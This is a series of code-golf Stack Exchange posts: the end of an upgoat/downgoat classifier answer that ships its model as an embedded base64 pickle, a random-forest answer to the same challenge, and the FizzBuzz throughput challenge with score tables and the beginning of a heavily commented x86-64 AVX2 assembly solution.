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 BPBFEE//F3JFOFCQsfyJNg== ''' print(['','Up','Down'][int(pickle.loads(bz2.decompress(base64.b64decode(s))).predict(numpy.array([skimage.transform.resize(skimage.io.imread(sys.argv[1],as_grey=True),(24,12),mode='constant').flatten()]))[0])]+'goat') ``` --- update: per request here is the training data, resized to 24x12 and combined into a single image for ease of upload/presentation. its over a hundred images. <http://deeplearning.net/datasets/> , <http://www.vision.caltech.edu/Image_Datasets/Caltech256/>, duckduckgo image search, google image search, etc [![training data at 24x12 pixels](https://i.stack.imgur.com/bXmus.jpg)](https://i.stack.imgur.com/bXmus.jpg) [Answer] # Scikit-learn with Random Forests, 100% The tried-and-true approach is convnets, but [random forests can perform very well out-of-the-box](https://medium.com/rants-on-machine-learning/the-unreasonable-effectiveness-of-random-forests-f33c3ce28883) (few parameters to tune). Here I show some general techniques in image classification tasks. I started off with 100 images of goats for training I found through Google Images (AFAIK none in the training data match the test data). Each image is rescaled to 20x16 in grayscale, then the array is flattened to produce one row in a 2D array. A flipped version of the image is also added as a row for the training data. I did not need to use any [data augmentation techniques](https://medium.com/nanonets/how-to-use-deep-learning-when-you-have-limited-data-part-2-data-augmentation-c26971dc8ced). ![grid of goats](https://i.stack.imgur.com/c266h.jpg) Then I feed the 2D array into the random forest classifier and call predict to produce 50 decision trees. Here is the (messy) code: ``` RESIZE_WIDTH = 20 RESIZE_HEIGHT = 16 def preprocess_img(path): img = cv2.imread(path, 0) # Grayscale resized_img = cv2.resize(img, (RESIZE_WIDTH, RESIZE_HEIGHT)) return resized_img def train_random_forest(downgoat_paths, upgoat_paths, data_paths): assert len(data_paths) == 100 # Create blank image grid img_grid = np.zeros((10*RESIZE_HEIGHT, 10*RESIZE_WIDTH), np.uint8) # Training data TRAINING_EXAMPLES = 2*len(data_paths) train_X = np.zeros((TRAINING_EXAMPLES, RESIZE_WIDTH*RESIZE_HEIGHT), np.uint8) train_y = np.zeros(TRAINING_EXAMPLES, np.uint8) TEST_EXAMPLES = len(downgoat_paths) + len(upgoat_paths) test_X = np.zeros((TEST_EXAMPLES, RESIZE_WIDTH*RESIZE_HEIGHT), np.uint8) test_y = np.zeros(TEST_EXAMPLES, np.uint8) for i, data_path in enumerate(data_paths): img = preprocess_img(data_path) # Paste to grid ph = (i//10) * RESIZE_HEIGHT pw = (i%10) * RESIZE_WIDTH img_grid[ph:ph+RESIZE_HEIGHT, pw:pw+RESIZE_WIDTH] = img flipped_img = np.flip(img, 0) # Add to train array train_X[2*i,], train_y[2*i] = img.flatten(), 1 train_X[2*i+1,], train_y[2*i+1] = flipped_img.flatten(), 0 cv2.imwrite("grid.jpg", img_grid) clf = RandomForestClassifier(n_estimators=50, verbose=1) clf.fit(train_X, train_y) joblib.dump(clf, 'clf.pkl') for i, img_path in enumerate(downgoat_paths + upgoat_paths): test_X[i,] = preprocess_img(img_path).flatten() test_y[i] = (i >= len(downgoat_paths)) predict_y = clf.predict(test_X) print(predict_y) print(test_y) print(accuracy_score(predict_y, test_y)) # Draw tree 0 tree.export_graphviz(clf.estimators_[0], out_file="tree.dot", filled=True) os.system('dot -Tpng tree.dot -o tree.png') def main(): downgoat_paths = ["downgoat" + str(i) + ".jpg" for i in range(1, 10)] upgoat_paths = ["upgoat" + str(i) + ".jpg" for i in range(1, 10)] data_paths = ["data/" + file for file in os.listdir("data")] train_random_forest(downgoat_paths, upgoat_paths, data_paths) ``` Here is the first decision tree (though since the model is in an ensemble, [it is not particularly useful](https://stats.stackexchange.com/a/2362/140662)) ![decision tree #0](https://i.stack.imgur.com/cGQ0v.png) ]
[Question] [ Fizz Buzz is a common challenge given during interviews. The challenge goes something like this: > > Write a program that prints the numbers from 1 to n. If a number is > divisible by 3, write Fizz instead. If a number is divisible by 5, > write Buzz instead. However, if the number is divisible by both 3 and > 5, write FizzBuzz instead. > > > The goal of this question is to write a FizzBuzz implementation that goes from 1 to infinity (or some arbitrary very very large number), and that implementation should do it **as fast as possible**. ## Checking throughput Write your fizz buzz program. Run it. Pipe the output through `<your_program> | pv > /dev/null`. The higher the throughput, the better you did. ## Example A naive implementation written in C gets you about 170MiB/s on an average machine: ``` #include <stdio.h> int main() { for (int i = 1; i < 1000000000; i++) { if ((i % 3 == 0) && (i % 5 == 0)) { printf("FizzBuzz\n"); } else if (i % 3 == 0) { printf("Fizz\n"); } else if (i % 5 == 0) { printf("Buzz\n"); } else { printf("%d\n", i); } } } ``` There is a lot of room for improvement here. In fact, I've seen an implementation that can get more than 3GiB/s on the same machine. I want to see what clever ideas the community can come up with to push the throughput to its limits. ## Rules * All languages are allowed. * The program output must be exactly valid fizzbuzz. No playing tricks such as writing null bytes in between the valid output - null bytes that don't show up in the console but do count towards `pv` throughput. Here's an example of valid output: ``` 1 2 Fizz 4 Buzz Fizz 7 8 Fizz Buzz 11 Fizz 13 14 FizzBuzz 16 17 Fizz 19 Buzz # ... and so on ``` Valid output must be simple ASCII, single-byte per character, new lines are a single `\n` and not `\r\n`. The numbers and strings must be correct as per the FizzBuzz requirements. The output must go on forever (or a very high astronomical number, at-least 2^58) and not halt / change prematurely. * Parallel implementations are allowed (and encouraged). * Architecture specific optimizations / assembly is also allowed. This is not a real contest - I just want to see how people push fizz buzz to its limit - even if it only works in special circumstances/platforms. # Scores Scores are from running on my desktop with an AMD 5950x CPU (16C / 32T). I have 64GB of 3200Mhz RAM. CPU mitigations are disabled. \*\*By far the best score so far is in C++ [by](https://codegolf.stackexchange.com/a/269772/99226) @David Frank - generating FizzBuzz at around 1.7 Terrabit/s At the second place - @ais523 - generating FizzBuzz at 61GiB/s with x86 assembly. # Results for java: | Author | Throughput | | --- | --- | | ioan2 | 2.6 GiB/s | | randy | 0.6 GiB/s | | randy\_ioan | 3.3 GiB/s | | ioan | 4.6 GiB/s | | olivier | 5.8 GiB/s | # Results for python: | Author | Throughput | | --- | --- | | bconstanzo | 0.1 GiB/s | | michal | 0.1 GiB/s | | ksousa\_chunking | 0.1 GiB/s | | ksousa\_initial | 0.0 GiB/s | | arrmansa | 0.2 GiB/s | | antoine | 0.5 GiB/s | # Results for pypy: | Author | Throughput | | --- | --- | | bconstanzo\_pypy | 0.3 GiB/s | # Results for rust: | Author | Throughput | | --- | --- | | aiden | 3.4 GiB/s | | xavier | 0.9 GiB/s | # Results for ruby: | Author | Throughput | | --- | --- | | lonelyelk | 0.1 GiB/s | | dgutov | 1.7 GiB/s | # Results for asm: | Author | Throughput | | --- | --- | | ais523 | 60.8 GiB/s | | paolo | 39.0 GiB/s | # Results for julia: | Author | Throughput | | --- | --- | | marc | 0.7 GiB/s | | tkluck | 15.5 GiB/s | # Results for c: | Author | Throughput | | --- | --- | | random832 | 0.5 GiB/s | | neil | 8.4 GiB/s | | kamila | 8.4 GiB/s | | xiver77 | 20.9 GiB/s | | isaacg | 5.7 GiB/s | # Results for cpp: | Author | Throughput | | --- | --- | | jdt | 4.8 GiB/s | | tobycpp | 5.4 GiB/s | | david | 208.3 GiB/s | # Results for numba: | Author | Throughput | | --- | --- | | arrmansa | 0.1 GiB/s | # Results for numpy: | Author | Throughput | | --- | --- | | arrmansa | 0.3 GiB/s | | arrmansa-multiprocessing | 0.7 GiB/s | | arrmansa-multiprocessing-2 | 0.7 GiB/s | # Results for go: | Author | Throughput | | --- | --- | | Bysmyyr | 3.7 GiB/s | | psaikko | 6.8 GiB/s | # Results for php: | Author | Throughput | | --- | --- | | no\_gravity | 0.5 GiB/s | # Results for elixir: | Author | Throughput | | --- | --- | | technusm1 | 0.3 GiB/s | # Results for csharp: | Author | Throughput | | --- | --- | | neon-sunset | 1.2 GiB/s | [![asm submissions](https://i.stack.imgur.com/f4TUB.png)](https://i.stack.imgur.com/f4TUB.png) [![java submissions](https://i.stack.imgur.com/qJShs.png)](https://i.stack.imgur.com/qJShs.png) [![pypy submissions](https://i.stack.imgur.com/m5S7a.png)](https://i.stack.imgur.com/m5S7a.png) [![python submissions](https://i.stack.imgur.com/JpSfN.png)](https://i.stack.imgur.com/JpSfN.png) [![ruby submissions](https://i.stack.imgur.com/DrdlL.png)](https://i.stack.imgur.com/DrdlL.png) [![rust submissions](https://i.stack.imgur.com/1lW1L.png)](https://i.stack.imgur.com/1lW1L.png) [![c submissions](https://i.stack.imgur.com/SPSmy.png)](https://i.stack.imgur.com/SPSmy.png) [![cpp submissions](https://i.stack.imgur.com/rJ2Ms.png)](https://i.stack.imgur.com/rJ2Ms.png) [![julia submissions](https://i.stack.imgur.com/ZNPpV.png)](https://i.stack.imgur.com/ZNPpV.png) [![numba submissions](https://i.stack.imgur.com/JoBxD.png)](https://i.stack.imgur.com/JoBxD.png) [![numpy submissions](https://i.stack.imgur.com/BV0Vn.png)](https://i.stack.imgur.com/BV0Vn.png) [![go submissions](https://i.stack.imgur.com/PZXTL.png)](https://i.stack.imgur.com/PZXTL.png) [![php submissions](https://i.stack.imgur.com/VEcXq.png)](https://i.stack.imgur.com/VEcXq.png) [![csharp submissions](https://i.stack.imgur.com/Og8S4.png)](https://i.stack.imgur.com/Og8S4.png) Plots generated using <https://github.com/omertuc/fizzgolf> [Answer] # x86-64+AVX2 assembly language (Linux, `gcc`+`gas`) ### Build and usage instructions This program is most conveniently built using `gcc`. Save it as `fizzbuzz.S` (that's a capital `S` as the extension), and build using the commands ``` gcc -mavx2 -c fizzbuzz.S ld -o fizzbuzz fizzbuzz.o ``` Run as `./fizzbuzz` piped into one command, e.g. `./fizzbuzz | pv > /dev/null` (as suggested in the question), `./fizzbuzz | cat`, or `./fizzbuzz | less`. To simplify the I/O, this will not work (producing an error on startup) if you try to output to a file/terminal/device rather than a pipe. Additionally, this program may produce incorrect output if piped into two commands (e.g. `./fizzbuzz | pv | cat > fizzbuzz.txt`), but only in the case where the middle command uses the `splice` system call; this is either a bug in Linux (very possible with system calls this obscure!) or a mistake in the documentation of the system calls in question (also possible). However, it should work correctly for the use case in the question, which is all that matters on CGCC. This program is somewhat system-specific; it requires the operating system to be a non-ancient version of Linux, and the processor to be an x86-64 implementation that supports AVX2. (Most moderately recent processors by Intel and AMD have AVX2 support, including the Ryzen 9 mentioned in the question, and almost all use the x86-64 instruction set.) However, it avoids assumptions about the system it's running on beyond those mentioned in the header, so there's a decent chance that if you can run Linux, you can run this. The program outputs a quintillion lines of FizzBuzz and then exits (going further runs into problems related to the sizes of registers). This would take tens of years to accomplish, so hopefully counts as "a very high astronomical number" (although it astonishes me that it's a small enough timespan that it might be theoretically possible to reach a number as large as a quintillion without the computer breaking). As a note: this program's performance is dependent on whether it and the program it outputs to are running on sibling CPUs or not, something which will be determined arbitrarily by the kernel when you start it. If you want to compare the two possible timings, use `taskset` to force the programs onto particular CPUs: `taskset 1 ./fizzbuzz | taskset 2 pv > /dev/null` versus `taskset 1 ./fizzbuzz | taskset 4 pv > /dev/null`. (The former will probably run faster, but might be slower on some CPU configurations.) ### Discussion I've spent months working on this program. I've long thought that "how fast can you make a FizzBuzz" would be a really interesting question for learning about high-performance programming, and when I subsequently saw this question posted on CGCC, I pretty much had to try. This program aims for the maximum possible single-threaded performance. In terms of the FizzBuzz calculation itself, it is intended to sustain a performance of 64 bytes of FizzBuzz per 4 clock cycles (and is future-proofed where possible to be able to run faster if the relevant processor bottleneck – L2 cache write speed – is ever removed). This is faster than a number of standard functions. In particular, it's faster than `memcpy`, which presents interesting challenges when it comes to I/O (if you try to output using `write` then the copies in `write` will take up almost all the runtime – replacing the I/O routine here with `write` causes the performance on my CPU to drop by a factor of 5). As such, I needed to use much more obscure system calls to keep I/O-related copies to a minimum (in particular, the generated FizzBuzz text is only sent to main memory if absolutely necessary; most of the time it's stored in the processor's L2 cache and piped into the target program from there, which is why reading it from a sibling CPU can boost performance – the physical connection to the L2 cache is shorter and higher bandwidth than it would be to a more distant CPU). On my computer (which has a fairly recent, but not particularly powerful, Intel processor), this program generates around 31GiB of FizzBuzz per second. I'll be interested to see how it does on the OP's computer. I did experiment with multithreaded versions of the program, but was unable to gain any speed. Experiments with simpler programs show that it could be possible, but any gains may be small; the cost of communication between CPUs is sufficiently high to negate most of the gains you could get by doing work in parallel, assuming that you only have one program reading the resulting FizzBuzz (and anything that writes to memory will be limited by the write speed of main memory, which is slower than the speed with which the FizzBuzz can be generated). ### The program This isn't [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so my explanation of the program and its algorithm are given as comments in the program itself. (I still had to lightly golf the program, and especially the explanation, to fit this post within the 65536 byte size limit.) The program is written in a "literate" assembly style; it will be easiest to understand if you read it in order, from start to end. (I also added a number of otherwise useless line labels to separate the program into logical groups of instructions, in order to make the disassembly easier to read, if you're one of the people who prefers to read assembly code like that.) ``` .intel_syntax prefix // Header files. #include <asm/errno.h> #include <asm/mman.h> #include <asm/unistd.h> #define F_SETPIPE_SZ 1031 // not in asm headers, define it manually // The Linux system call API (limited to 4 arguments, the most this // program uses). 64-bit registers are unsuffixed; 32-bit have an "e" // suffix. #define ARG1 %rdi #define ARG1e %edi #define ARG2 %rsi #define ARG2e %esi #define ARG3 %rdx #define ARG3e %edx #define ARG4 %r10 #define ARG4e %r10d #define SYSCALL_RETURN %rax #define SYSCALL_RETURNe %eax #define SYSCALL_NUMBER %eax // %rax, %rcx, %rdx, %ymm0-3 are general-purpose temporaries. Every // other register is used for just one or two defined purposes; define // symbolic names for them for readability. (Bear in mind that some of // these will be clobbered sometimes, e.g. OUTPUT_LIMIT is clobbered // by `syscall` because it's %r11.) #define OUTPUT_PTR %rbx #define BYTECODE_IP %rbp #define SPILL %rsi #define BYTECODE_GEN_PTR %rdi #define REGEN_TRIGGER %r8 #define REGEN_TRIGGERe %r8d #define YMMS_AT_WIDTH %r9 #define YMMS_AT_WIDTHe %r9d #define BUZZ %r10 #define BYTECODE_NEG_LEN %r10 #define FIZZ %r11 #define FIZZe %r11d #define OUTPUT_LIMIT %r11 #define BYTECODE_END %r12 #define BYTECODE_START %r13 #define BYTECODE_STARTe %r13d #define PIPE_SIZE %r13 #define LINENO_WIDTH %r14 #define LINENO_WIDTHe %r14d #define GROUPS_OF_15 %r15 #define GROUPS_OF_15e %r15d #define LINENO_LOW %ymm4 #define LINENO_MID %ymm5 #define LINENO_MIDx %xmm5 #define LINENO_TOP %ymm6 #define LINENO_TOPx %xmm6 #define LINENO_MID_TEMP %ymm7 #define ENDIAN_SHUFFLE %ymm8 #define ENDIAN_SHUFFLEx %xmm8 #define LINENO_LOW_INCR %ymm9 #define LINENO_LOW_INCRx %xmm9 // The last six vector registers are used to store constants, to avoid // polluting the cache by loading their values from memory. #define LINENO_LOW_INIT %ymm10 #define LINENO_MID_BASE %ymm11 #define LINENO_TOP_MAX %ymm12 #define ASCII_OFFSET %ymm13 #define ASCII_OFFSETx %xmm13 #define BIASCII_OFFSET %ymm14 #define BASCII_OFFSET %ymm15 // Global variables. .bss .align 4 << 20 // The most important global variables are the IO buffers. There are // two of these, each with 2MiB of memory allocated (not all of it is // used, but putting them 2MiB apart allows us to simplify the page // table; this gives a 30% speedup because page table contention is // one of the main limiting factors on the performance). io_buffers: .zero 2 * (2 << 20) // The remaining 2MiB of memory stores everything else: iovec_base: // I/O config buffer for vmsplice(2) system call .zero 16 error_write_buffer: // I/O data buffer for write(2) system call .zero 1 .p2align 9,0 bytecode_storage: // the rest is a buffer for storing bytecode .zero (2 << 20) - 512 // The program starts here. It doesn't use the standard library (or // indeed any libraries), so the start point is _start, not main. .text .globl _start _start: // This is an AVX2 program, so check for AVX2 support by running an // AVX2 command. This is a no-op, but generates SIGILL if AVX2 isn't // supported. vpand %ymm0, %ymm0, %ymm0 // Initialize constant registers to their constant values. vmovdqa LINENO_LOW_INIT, [%rip + lineno_low_init] vmovdqa LINENO_MID_BASE, [%rip + lineno_mid_base] vmovdqa LINENO_TOP_MAX, [%rip + lineno_top_max] vmovdqa ASCII_OFFSET, [%rip + ascii_offset] vmovdqa BIASCII_OFFSET, [%rip + biascii_offset] vmovdqa BASCII_OFFSET, [%rip + bascii_offset] // Initialize global variables to their initial values. vmovdqa ENDIAN_SHUFFLE, [%rip + endian_shuffle_init] vmovdqa LINENO_TOP, [%rip + lineno_top_init] // Check the size of the L2 cache. // // This uses the CPUID interface. To use it safely, check what range // of command numbers is legal; commands above the legal range have // undefined behaviour, commands within the range might not be // implemented but will return all-zeros rather than undefined values. // CPUID clobbers a lot of registers, including some that are normally // call-preserved, so this must be done first. mov %eax, 0x80000000 // asks which CPUID extended commands exist cpuid // returns the highest supported command in %eax cmp %eax, 0x80000006 // does 0x80000006 give defined results? jb bad_cpuid_error mov %eax, 0x80000006 // asks about the L2 cache size cpuid // returns size in KiB in the top half of %ecx shr %ecx, 16 jz bad_cpuid_error // unsupported commands return all-0s // Calculate the desired pipe size, half the size of the L2 cache. // This value is chosen so that the processor can hold a pipeful of // data being output, plus a pipeful of data being calculated, without // needing to resort to slow L3 memory operations. shl %ecx, 10 - 1 // convert KiB to bytes, then halve mov PIPE_SIZE, %rcx // Ask the kernel to resize the pipe on standard output. mov ARG1e, 1 mov ARG2e, F_SETPIPE_SZ mov ARG3e, %ecx mov SYSCALL_NUMBER, __NR_fcntl syscall cmp SYSCALL_RETURNe, -EBADF je pipe_error cmp SYSCALL_RETURNe, -EPERM je pipe_perm_error call exit_on_error cmp SYSCALL_RETURN, PIPE_SIZE jne pipe_size_mismatch_error // Ask the kernel to defragment the physical memory backing the BSS // (read-write data) segment. This simplifies the calculations needed // to find physical memory addresses, something that both the kernel // and processor would otherwise spend a lot of time doing, and // speeding the program up by 30%. lea ARG1, [%rip + io_buffers] mov ARG2e, 3 * (2 << 20) mov ARG3e, MADV_HUGEPAGE mov SYSCALL_NUMBER, __NR_madvise syscall call exit_on_error // From now on, OUTPUT_PTR is permanently set to the memory location // where the output is being written. This starts at the start of the // first I/O buffer. lea OUTPUT_PTR, [%rip + io_buffers] ///// First phase of output // // The FizzBuzz output is produced in three distinct phases. The first // phase is trivial; just a hardcoded string, that's left in the // output buffer, to be output at the end of the second phase. first_phase: .section .rodata fizzbuzz_intro: .ascii "1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\n" .text vmovdqu %ymm0, [%rip + fizzbuzz_intro] vmovdqu [OUTPUT_PTR], %ymm0 add OUTPUT_PTR, 30 ///// Second phase of output // // This is a routine implementing FizzBuzz in x86-64+AVX2 assembler in // a fairly straightforward and efficient way. This isn't as fast as // the third-phase algorithm, and can't handle large numbers, but will // introduce some of the basic techniques this program uses. second_phase_init: // The outer loop of the whole program breaks the FizzBuzz output into // sections where all the line numbers contain the same number of // digits. From now on, LINENO_WIDTH tracks the number of digits in // the line number. 